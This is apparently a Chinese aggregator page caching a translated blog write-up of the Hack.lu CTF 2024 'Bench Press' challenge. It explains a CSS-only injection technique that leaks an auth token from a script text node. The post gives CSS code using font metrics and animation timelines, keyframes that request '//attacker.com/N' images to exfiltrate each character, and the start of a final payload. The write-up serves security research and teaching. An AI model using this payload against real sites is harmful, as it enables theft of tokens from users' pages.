Bench Press: 使用CSS泄露文本节点

Lobsters Hottest 工具

摘要

本文介绍了一种CSS注入技术,该技术仅使用CSS即可泄露HTML文本节点的全部内容,并通过CTF挑战进行了演示。文章详细阐述了该方法及其限制条件。

<p><a href="https://lobste.rs/s/qyugm7/bench_press_leaking_text_nodes_with_css">评论</a></p>
查看原文
查看缓存全文

缓存时间: 2026/07/05 20:34

# 卧推:利用 CSS 泄露文本节点 来源:https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/ 不久前,我在阅读关于新 CSS 特性的文章时,问了自己一个问题:**仅使用 CSS 能否泄露 HTML 文本节点的全部内容?**答案是:能!嗯……算是吧。我发现了一种大体上可以实现的技术,但最终会碰到 CSS 引擎的限制 🙃。不过,我有点话唠了……在调研过程中,我学到了许多关于 CSS 的新知识,非常喜欢,于是为 Hack.lu CTF 2024 设计了一道挑战题:[Bench Press](https://bench-press.online/)。在这篇博文中,我将以该挑战的解法为例,来实际演示我的新技术。 ## 挑战 挑战的目标是从一个 `<script>` 标签中泄露认证令牌:`<script> 123456 </script>` `t="01b275146755aac26d5b2c7821b7c3"` 我们唯一能控制的是 `?theme=` 查询参数: ```javascript app.get('/articles/:slug', (req, res) => { let theme = ''; if (typeof req.query.theme === 'string') { theme = req.query.theme; if (theme.includes('`')) { theme = ''; } } // ... res.send(renderPage(theme)); }); ``` 主题值会被插入到 `<style>` 标签中,从而实现了 CSS 注入! ```html {{{theme}}} ``` 对照内容安全策略(CSP)检查,情况看起来很有利: - `style-src 'unsafe-inline'` —— 我们非常喜欢内联样式 - `img-src http: https:` —— 也欢迎远程图片 - `frame-ancestors 'none'` —— 不允许嵌套 - `base-uri 'none'` —— 不允许 `<base>` - `form-action 'self'` —— 不允许奇怪的表单 - `default-src 'none'` —— 没有其他东西(也就是没有 JS) - `sandbox allow-forms` —— 真的真的没有 JS(缺少 `allow-scripts`) 我们现在的处境归结为:**仅使用内联样式和远程图片来泄露文本节点的内容。** ## 现有技术不适用 在这种场景下,有多种已知的 CSS 注入技术可以帮助从 DOM 中窃取数据。然而,由于它们各自的要求和限制,没有任何一种适用。举几个例子: - 使用递归 `@import` 进行增量泄露不可行,因为我们无法加载远程样式。 - 无法使用自定义连字字体,因为远程字体被阻止。 - 使用“包含”属性选择器泄露数据块也不适用,因为令牌不在属性中。 然而,有一些泄露文本节点*字符集*的技术符合我们的条件: - 利用默认字体造成尺寸差异([参考](https://book.hacktricks.xyz/pentesting-web/xs-search/css-injection#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font)) - 利用默认字体造成时间差异([参考](https://book.hacktricks.xyz/pentesting-web/xs-search/css-injection#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font-2)) 时间侧信道通常较慢且可靠性低,所以我们选择尺寸差异法,看看能否对其进行改进。 ## 前人成果:泄露字符集 为了检测文本节点中存在的字符,尺寸差异技术会遍历所有可能的字符。对于每个字符,应用一个特定的 `@font-face`,仅当当前字符存在时才匹配。这是通过 `unicode-range`([MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/@font-face/unicode-range))描述符实现的。 为了判断当前字符是否存在,CSS 测量文本节点的高度差。如果该字符存在,字体就会生效,使文本节点变大。通过滚动条背景图检测高度差——仅当滚动条出现时,才会从远程加载该背景图。 使用 `::first-line` 伪选择器将文本的第一行设为可见(`font-size: 30px`),其余部分设为不可见(`font-size: 0px`)。这样可以避免文本换行并扰乱节点高度。 但还有一个问题:如果文本节点包含重复字符,不会为第二个字符触发额外的字体请求。例如,如果文本是 `LOL`,泄露过程如下: 1. 显示第 1 个字符(`L`),遍历可能的字符字体 1. 检查是否为 `L` 时,字体生效,文本变大 1. 检测到高度差,发送请求(`attacker.com/L`) 2. 显示前 2 个字符(`LO`),遍历可能的字符字体 1. 检查是否为 `L` 时,字体生效,文本变大 1. 不发送请求(字体已加载) 2. 检查是否为 `O` 时,字体生效,文本变大 1. 请求字体(`attacker.com/O`) 3. 显示前 3 个字符(`LOL`),遍历可能的字符字体 1. 检查是否为 `L` 时,字体生效,文本变大 1. 不发送请求(字体已加载) 2. 检查是否为 `O` 时,字体生效,文本变大 1. 不发送请求(字体已加载) 现在我们只知道文本以 `LO` 开头,后面可能还有更多 L 或 O。这对于我们的挑战来说很不幸,因为令牌是一个 30 字符的十六进制字符串,因此会有大量重复字符。那么有没有办法克服这个限制呢? ## 使用动画时间线测量高度 某天,我的队友 @realansgar([Twitter](https://twitter.com/realansgar))给我发了这篇博文:[如何仅用 CSS 获取任意元素的宽度/高度](https://frontendmasters.com/blog/how-to-get-the-width-height-of-any-element-in-only-css/)。你应该读一读以了解其底层原理,他们有漂亮的可视化演示! 使用其中描述的技术,我们现在可以测量任何 HTML 元素的高度/宽度,并将尺寸作为数值存入 CSS 变量: ```css @property --y { syntax: "<number>"; initial-value: 0; inherits: true; } @property --h { syntax: "<number>"; initial-value: 0; inherits: true; } @keyframes y { to { --y: 1 } } script { overflow: auto; position: relative; &:before { content: ''; position: absolute; left: 0; top: 0; height: 1px; view-timeline: --cy block; } animation: y linear; timeline-scope: --cy; animation-timeline: --cy; animation-range: entry 100% exit 100%; --h: calc(1/(1 - var(--y))); } ``` 这是一个关键成分,因为现在我们可以利用 `calc()` 等函数,**根据文本高度进行条件样式设置**! ## 计划 让我们将高度测量与之前的技术结合起来: 1. 使文本元素每行只显示一个字符 2. 为字母配置独特的高度 3. 逐步从文本中移除/隐藏字符 4. 计算两步之间的高度差,找出被移除的是哪个字符 5. 将字母泄露到我们的攻击服务器 步骤 1 很直接。要实现每行一个字符,我们可以使用等宽字体,设置固定宽度,并允许换行: ```css script { font-familiy: monospace; width: 11px; word-break: break-word; white-space: break-spaces; } ``` ### 每个字母的独特高度 为了给每个字母赋予独一无二的高度,我们使用 `descent-override`([MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/@font-face/descent-override)): ```css @font-face { font-family: has_A; src: local('DejaVu Sans Mono'); unicode-range: U+41; descent-override: 200%; } ``` 通过对所有可能的字符(此处为十六进制字符)重复此操作,我们可以赋予每个字母独特的高度。这样以后我们就可以将高度差映射到特定的字母。 ### 逐步移除字母 现在我们可以将所有字母叠在一起,测量总高度。这当然没什么用,因此我们需要逐步移除字符,并测量高度差来知道是哪个字母被移除了。 为此,我们借鉴之前的另一个技巧:`::first-line`。通过持续减小文本第一行的字体大小,越来越多的字符会挤进第一行。我们还可以对第一行应用不同的字体,使其高度不随字母变化。 代码: ```css @keyframes iterate { from { --n: 0 } to { --n: 30 } } @property --n { syntax: '<integer>'; initial-value: 0; inherits: true; } script::first-line { font-family: base; --clamped-n: max(2, var(--n, 2)); --width-per-char: 6; --available-space: 11; --space-required: calc(var(--clamped-n) * var(--width-per-char)); --mult: calc(var(--available-space) / var(--space-required)); font-size: calc(var(--font-size) * var(--mult)); line-height: 10px; white-space: break-spaces; } ``` ### 计算高度差 要计算差值,我们需要旧值和新值。为此,我们可以利用动画关键帧中的赋值暂时缓存值([参考](https://dev.to/janeori/expert-css-the-cpu-hack-4ddj))。当总高度(`--h`)仍是初始值时,我们应用 `save` 动画,将当前值缓存为 `--old-h`。在下一次迭代中,我们计算差值(`calc(var(--old-h) - var(--h))`)。在进入下一次迭代之前,我们快速取消并重新应用 `save` 动画,以缓存当前高度。 这里只有一个问题:动画不能改变动画属性!因此,为了重新应用 `save` 动画,我们通过容器样式查询进行一次小的间接操作。另一个动画改变 `--do-save` 属性,容器样式查询检查该属性的值,并有条件地应用 `save` 动画: ```css @keyframes enable-save { 0% { --do-save: 'y'; --do-send: 'n' } 50% { --do-save: 'y'; --do-send: 'y' } 100% { --do-save: 'n'; --do-send: 'n' } } @keyframes save { from, to { --old-h: var(--h) } } @container style(--do-save: 'y') { :root > :has(.leak) { animation: save var(--time-per-char) 1; } } ``` ### 泄露字母 现在我们有高度差,它对应某个字母的独特高度。但是这个值存储为数字,我们如何将它发送到服务器?我们将使用最后一个技巧(也与动画相关):暂停动画([参考](https://lea.verou.me/blog/2024/css-conditionals-now/#paused-animations))。通过改变暂停动画的延迟,我们可以选择不同的值。我们用它来选择与正确字母匹配的泄露 URL: ```css script { --anim-steps: 64; --anim-time: calc(var(--anim-steps) * 1s); --anim-delay: calc(var(--char-num) * -1s); animation: exfil var(--anim-time) var(--anim-delay) steps(var(--anim-steps), jump-start) infinite paused; background-image: image-set(var(--img-bits) 1x); } @property --anim-delay { syntax: '<time>'; initial-value: 0s; inherits: true; } @keyframes exfil { 0.0000% { --img-bits: '//attacker.com/0' } 1.5625% { --img-bits: '//attacker.com/1' } 3.1250% { --img-bits: '//attacker.com/2' } /* ... 更多步骤 */ } ``` ### 整合在一起 就是这样!结合所有这些步骤,我们现在可以仅使用内联 CSS(加上用于泄露的远程图片)来泄露任意文本节点的内容。你可以在本页末尾找到最终 payload。 ## 局限性 最后,我们必须谈谈这项技术的局限性。 ### 浮点数不精确 浮点数值在两个方面被使用: 1. 计算 `::first-line` 的字体大小 2. 计算元素的总高度 在两种情况下,由于浮点数的精度,Chrome 中的计算可能变得不精确,从而破坏泄露。字体大小和中间值(`--y`)可能变得非常小,以至于泄露会跳过某些步骤,因为有些值无法表示。这发生在泄露太多字符,或元素总高度变得太大时。这限制了该技术,但我相信这些限制是可以绕过的。 ### 目前仅限 Chrome 目前,一些使用的 CSS 特性仅在基于 Chromium 的浏览器中可用: | CSS 特性 | Chrome | Firefox | Safari | |----------|--------|---------|--------| | `timeline-scope` | >= 116 | - | - | | `view-timeline` | >= 115 | - | - | | `animation-timeline` | >= 115 | - | - | | `animation-range` | >= 115 | - | - | | `descent-override` | >= 87 | >= 89 | - | | `@container style(--custom: 1) { }` | >= 111 | - | >= 18 | 随着时间的推移,这可能会改善,但如果你找到更兼容的方式来实现相同目标,请告诉我! ### 本地字体 由于该技术依赖于本地可用的字体,因此需要相应地进行校准。对于挑战的解法,我必须检查可用字体,选择其中之一,并测量其字符的宽高比。这或许可以在 CSS 中完成,至少对于常见字体名称列表来说,所以我可能稍后会将其添加到 payload 中。 ### 速度 最大泄露速度取决于浏览器动画内部机制。速度增加太多可能导致动画帧被跳过,破坏泄露。很难找到一种通用设置,但每个字符 500ms 应该是一个安全的默认值。 ## 总结 真是一趟奇妙的旅程!我觉得现代 CSS 能做到的事情非常有趣。随着 XSS 缓解措施在应用端和浏览器/规范端的兴起,CSS 成为客户端 Web 利用中越来越有用的工具。像 DOMPurify 这样的清理器默认仍然允许任意样式,但也许将来会改变。 希望你喜欢这项新技术!如果你遇到问题或找到改进方法,请在 [Twitter](https://twitter.com/pspaul95) 或 [Mastodon](https://infosec.exchange/@pspaul) 上告诉我。我将在未来几天发布一个 GitHub 仓库,包含所有细节和用于生成 payload 的工具。 --- ## 最终 payload ```css :root { --chars: 30; --prefix-len: 3; --delay: 1s; --time-per-char: 500ms; } :root { --iterations: calc(var(--chars) + 1); --n: var(--prefix-len); animation: iterate calc(var(--iterations) * var(--time-per-char)) var(--delay) steps(var(--iterations)) 1 forwards, enable-save var(--time-per-char) var(--delay) steps(3, jump-end) var(--iterations), y linear; timeline-scope: --cy; animation-timeline: a } ``` *注意:由于代码块包含重要内容,上述仅展示了 payload 的开头部分。完整 payload 请参考原文末尾。*

相似文章

CSS:不可避免的坏部分

Lobsters Hottest

一位非Web开发者的个人博客文章讨论了CSS中不可避免的坏部分,包括布局难题、浏览器默认设置和过度使用包装器,同时强调了可处理简单任务的子集。

好吧,那我就自己造个文本编辑器

Lobsters Hottest

作者描述了构建自定义文本编辑器的过程,实验了canvas、contenteditable和textarea等方法,并讨论了Web开发中的性能和可访问性等挑战。

修复全宽CSS

Lobsters Hottest

一位前端开发者讨论了经典CSS全宽辅助类的缺陷,并提出了使用CSS容器和容器单位的现代修复方法,以避免与滚动条相关的裁剪问题。

标签名中的奥秘?原来是JavaScript

Lobsters Hottest

PortSwigger的研究文章展示了利用HTML标签名中的JavaScript属性进行新的XSS攻击向量,使WAF绕过在不同浏览器中成为可能。

CSS历史趣闻

Hacker News Top

本文探讨了历史上的CSS技巧和怪癖,详述了早期网页开发中使用的浏览器特定利用方法,例如属性解析和文档级别的检测方法。